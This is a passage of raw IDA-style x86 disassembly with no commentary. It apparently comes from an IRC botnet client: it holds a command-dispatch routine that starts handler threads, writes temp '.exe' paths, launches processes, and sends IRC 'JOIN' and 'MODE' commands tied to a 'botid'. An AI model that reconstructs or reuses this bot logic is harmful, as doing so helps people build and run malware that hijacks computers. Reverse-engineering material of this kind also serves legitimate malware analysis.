		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436E08
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5A
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_412588

loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E3
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412572
; ---------------------------------------------------------------------------

loc_412588:				; CODE XREF: sub_40EE72+36FEj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436DB4
		jmp	loc_4144D4
; ---------------------------------------------------------------------------

loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------

loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx

loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------

loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx

loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436D78
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4126C9

loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------

loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436D28
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_436CEC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4127AD

loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_41279B
; ---------------------------------------------------------------------------

loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436CA4
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E0F
		push	ebx
		push	esi
		jmp	loc_414617
; ---------------------------------------------------------------------------

loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_436C64
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4128C0

loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------

loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436C1C

loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		jmp	loc_411D1F
; ---------------------------------------------------------------------------

loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436BDC
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_4129B7

loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------

loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436B94
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436B58
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_412AAE

loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460A
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412A98
; ---------------------------------------------------------------------------

loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436B10
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_436AC8
		jmp	loc_4145FC
; ---------------------------------------------------------------------------

loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	ds:dword_42416C	; MoveFileA
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_436A94
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460A
; ---------------------------------------------------------------------------

loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C07
; ---------------------------------------------------------------------------

loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx

loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_436A38
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_412C0B

loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E0F
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------

loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4369EC
		jmp	loc_414E00
; ---------------------------------------------------------------------------

loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5

loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_424120	; CreateProcessA
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_4369B8
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_436990
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	ds:dword_42412C	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F2
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------

loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx

loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------

loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx

loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436948
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_412E18

loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_412E02
; ---------------------------------------------------------------------------

loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4368FC
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_4368A8
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_424064	; Sleep

loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_436874
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10

loc_412F4E:				; DATA XREF: _2:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436844
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_436800
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F8
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h

loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45

loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D633

loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D42j
		add	esp, 0Ch
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367EC
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------

loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172AE
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B8
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367B0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch

loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436784
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F45
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F45
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436758
		jmp	loc_4132D6
; ---------------------------------------------------------------------------

loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F45
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_436720
		jmp	loc_414F3E
; ---------------------------------------------------------------------------

loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_424064	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366F0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F45
; ---------------------------------------------------------------------------

loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F0C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C4
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------

loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F45
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F45
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436698

loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------

loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_43666C
		jmp	loc_413BFB
; ---------------------------------------------------------------------------

loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F45
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
